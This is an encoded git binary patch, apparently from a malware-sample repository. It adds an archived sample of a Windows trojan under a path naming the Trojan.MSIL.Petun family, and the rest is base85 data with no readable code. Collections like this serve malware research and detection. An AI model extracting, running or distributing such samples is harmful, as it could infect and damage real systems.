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 z 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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-45.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-45.7z new file mode 100644 index 0000000000000000000000000000000000000000..120e44492c189e6e0496c6fe122791000787d59d GIT binary patch literal 17367 zcmaKT19)xAvTnFy+qUgw#VfXL+qP}nw(VraE4FPrdD-XO^X@tK?fb^~=GSw~s`>vt zM_1SAu30530Sp2O@YiwChM)wdSJN)~{r;~P-1m#$!NJH%-_lLY+SrEHz~QQ+$H~FW z+5}(0&B4*gidNpp*wVJCk)xYZSR=GR+Y@f3)?a30Y;?$mI2Xwm5qB48C4(?p`qw z*Td`cp&gbLx&m5CZHV(U`Mu>0drTrv>iQ`LPaGZ|4h1{vWg*8SaY}5-V3U%HrP133 zRSOgquU|&3a|i}m=9&gMM${$xgRf;xBCW5kQ^V;-k2;MjrCQbL5-41~Gl}z%G+MHI zYPs1UE6JtxEzY^v;*Qv%o}BIbz(|{gunH+`+TE0cd(`$x4iqu6ht;hS>y9L2HLVsE z7sW3^g)HWwD-;v07xgWeuHHu2UlP}KW|_<;}`{LY*zmAmc9sA zFCR&F5X5mD{3_Gzf??LK0sN0S(Th0{t`NWk9gg!}^g5T3zqPu>O1K&5xh%5!=* za_o&r$BiS9TW&f$6=J@!`A_>uQ#ex>1O)(yhX(+F{eTD| zNa*Z234!Ju59Kbszr%C9Vlc8>z)BgOFI zW;&2ZkD&-++ti+coj*$1ho0T}wdqczLdBvr%eiU}@7_X`=BRPbHZ$8}vvO24@lDll z6ltEX&7F$>Q;9BA098D;a;5x>s#K*D5uKhUy;hZ@weSZz0dpZ*ElD7xTB z5;=wjyQ*2sW`B{2P0}pmk+ezmsKuL`#*0=_{)&@kJ*ApGwT`H)M+P%&sSHtAORTJR zEN0^@q9szc?UDenI_MSbC;=VYF_YiffsDiV$m26tn{MV$4d9Vst*~B%Z2Nmnio~m{ zt2X+@{h`Zfk_de%9<7!!>!lYiR|2TlNsZHOp}v5P-h9fbpsFB5xPytF?5^IUrEYH|4nPNe{U@&9_F-K@N!?^DLm=Dqw9XXb^tlW1~uQeey zqBYD-d#sf6^8A@z`+iA46uG*FNte(_;4CL^fJJDt@lZzC!?BQ}mw7=`sfcG1u=>77 zwvwv!gz~!_Cw+Q8etiSB@iphT33)-fEQ9h{5PhK7ln6+712n6#SQjaS!HD&Ma;=I$ zJUVr~;;<@29Mj4vs@vpRbB0|y9$dMOBmNHHDwy>?mOlY4JMr`Yodi7oxQ-J}^cMeg z0raqUZ}%27HXxaR`xT4P3!WwJxUz(C11UNv@U$&`VE(A%zK5soIlNoi18!#A%02#~C5iz(O}R*IgFab+Qz&edM`=^+St z-a#YwREE*r(^>;4*nen#!#DYhBr!_NaRapVP|tT>lZ?{P7*Fe;e>FlhUG*4)MqyC#?VZeMO{z5+RUoLyVE zbdB7$4RInh5^~$j6{}=Uv9c2&hvJkVR*R*H+I|d1TuhAl0Yv2u$p7&>sc=d4*2N63B5{k;rD#}iJBJTzho0Ffp168qU?;&hC` z>$?_`d(6Kx3U+HjlBalnR%y*uE+Hl3kSeC*icf4X3S%gm;JGJCVwx@Tgw%l>*T?TO z3r|7{iDd|-{oWbAtn_S#)w}gKr`hwONe&dRH(IVS4H}H<>?oR~mo>5N z=zo?Urv$OY)v>VvXxW-p&RkdLXR2JIh(VO;^FH^3z(O(7|#q zVgLZ5=6^nnrECnHER7hxUF`+ViTxe(H6K%F0E7wJC^ZTupDap+s^GHq8iqVoX?-)xY+OM^j!YzT>9@^{UvU zDW&m6$-M&4==YSQbf%3owNuexP6uk?Y4MGfs%jY61-GqEm8h7=v}z>(th7aJF7OW8%bA$$e}fg- zw=q&H-6}O{SC1FS6)Bc2SXbERu~#NSDY^bWN|I|TA6-aSr`$}AVC+mjed(`dE=Pmn zco6gYXj;S49eQ!$9~6>PC{W>5zkM-L`zY?1&Nm8 zG6}S-%S+R())d}&k#Oq@4ZF}BuSN5+1REPP!b_@@shLc#26#KsjEYz3k~a9dCs(&? zbNY78&{8c7nLRrnHV6bxqVmVxozKg~m&1LFUMZB@G7!aw@|BJ)w}my)d8;CnFsRp* zVBj~sPbn2){sR#IElicD@raUHBEIK`GW@3o< zaxc$y4i*!si8(nZGKdw|rVhSkj!tet!xA&C$JY|HH!?A`=!eDH4W3pWVm0KqPuN$+ z)wDv%E@dc0hLN}Xn-4`xp2sAQCbn8=tQj1OWZ9UUtzS3`%}EUMtl!?X%{4%+c40v0 zbY^DQWhyMsA~@V$JSvTsDKU)k{i8(l5+*DX+i@Fzd-IC#r02^JfH_Gk9Ap~*!TW9K z^&(}=rU$*}MfsF)~6o^#47U7 z_kx~j1O?R-VWc}JhRotK`%`8kxOC@iBgSv01oAaYU}r5tOQ#RL0{O1?yxO(18*F4? zNO$kf5dLpuXbF2$xh~N{SJ)=)ZFM)#&)^HWlEv+iT|4|u_ViNA=;q0swj$}$r{vjh zN-n0Fn%LNzbbTMU=Z4&t>(iK{8^LmJ>5^}XZFo4XFl?wNWr`7$}yB1cPt6rVG z+*o1p997NMRg7H?2NKgqvX3Pi={T?hC7JWUH~(@EqMZyu3Wj+Cu_hk9+SK?Bs<` zk|uIk-RqK9~gOPzy znT2WtQwWs?00hpof6^|G7v;Ws@1v>=P*%rA6|1Uu*NZ-4 zHx+SA!=>}uE>4hLV@Z%Ez!E1=i@-@y@z6u?Mr~8^7i*z@_$*`NbVsUk{SJV*b6L>V z$gRP9>PhR4q}NgvPN%QZ(LmkvyfwdOte;sJU5($ycYe%|-1h7LfRn-rDHDPxaoOXy6;^X{(l&&Y^jf{-cvEd!1~^qN z?+#G>at~>0qJgXE-K@7b5+L|CtU~?!hH1Ls!qew+P}*f6DSgGkx%uSH)WK4`bZ%Nz zPYJw-A@mwoR$KTkObH~0 zU;$jzhVR?nORtg_&>bhxEjF~^KAIW8;_#Ny$cChqb#uV7BGm;LN8!8*4T#SKJbOb} z)vDTbEcNmAs@%iB3r0Wz4{_<2GB(-;d<|TFnkdMp16kS5^eLn(h-)1wVAL+y4--8D zfB21!Y)gx`-yq)3%`n3fnoepfu!^wla5g_(~G9G5V0V1?c5;&GO&d^NZ z_m|OyZqRCUjpp9XOI{%Yb>)iu}@0mekbJ&&b=4|rianLekE1>Gh(Q%a9c? zBPEE%A~c{7HnbUS10(2NcT<@M&!WqLJJ-S)o@BXz3%@2Kj37(}#5gj{3pazJANsEg z3QB6iB*?cbM@~qM-f!|Xj9`XmEH{Mjo{FP~*Y1E01Bj$bDL21=JQ|kwvzD8!a2)pv z!f*xT?`7jy=4Zo0jug**{%EF&(`A)p-Mou0l3s?U@W(H06tX7wpDwHg#lJlw*$ynt zAt6mr6+eD22mG4bE$Tu9{bf{CDCxr%2?0@If41uTz<`wE%8}QXukZRXW7J6JS6R{$ zr8gMQi6mDwNN@@!+nolj@(JhnavsNN-?@TmquUrIfroIFci*+|QL{f(+{dJc7RUR8 zE9j$*$wi8CMIyVeG6&;TbFR+OwT}oup7F5xl3u9A<^cCH4&k>v6{4I#|F6qjTAP=- z;bH^vcKeD`o!>*9aQDDIig_m^v5j~vjPKy`vY&d6oSG};ifj8}nhN>_lYT>ubj-GQ z;1A?oS4wz_y;!)RuIU5>(L$%B2M-&yhVL;8Z%0v^Ff|^ZE>KX19?7`!N}4jTzn#jZ zC%}@h&H+-{Ok9q4C6K;yX2j9P#h7)rB8luTDu0U54$tHzH2@U}@Yd19ax5^i92w!S zq2iBVg=tBpt%@FQdw*aK|Dhcheg(mt|JfrZmT_GRC{uA~j9;;?|b{)-Bp3ROR> zN{Cduc$!bM$aYAbJC9D8P%(z={)RG8{KZw^hzg;ccz#XRMY+61-inE`2{%c7O0@WQ zTv^cQyuP711!EI-ntGUI6{)jRJx-gXiYU+UM09FMiJOU5Xn_2vcW_D6rRFS2kYz6m zaY^SGo=zJLa-7N|R%3b!6O*p#Vtm~-HwNDammxK;%rM&*EQZ8%!cA3=;PCC8q37FG zY~3w4M$a>sVdb~jEYBJj@|8I9y?@X07o297W|yC>4rcN)k6T zXJKqYO~d3sD?21oI2fH5Ff?aiY(h>`kCv^u!t**GpacF{|QH?{I}psEdD(0 z_J2>zdZ9C;GwoTI8{SG8#%+ZyPgaOgM^?~;SnWKMd8)YdQjy|CLWKgyu#UvpF?&aQ z0?sz{EX{CfTANR!Vj~EL3ToySu|K00H=SOn)BWn)VAH#5nh{6WYTObQH;Oq!4V|dd zvkk7wi@O}&sMDwF+*jE{4b7-B7i!#R7B}zW`!DNG-n)P44Hm$}#Nu zs<87!YuE~yY+h}UUk6)-tK5OOV;hy9y$2ba@+RvxuiBq9>q4~U2ZF@)J?{$SCU~uR 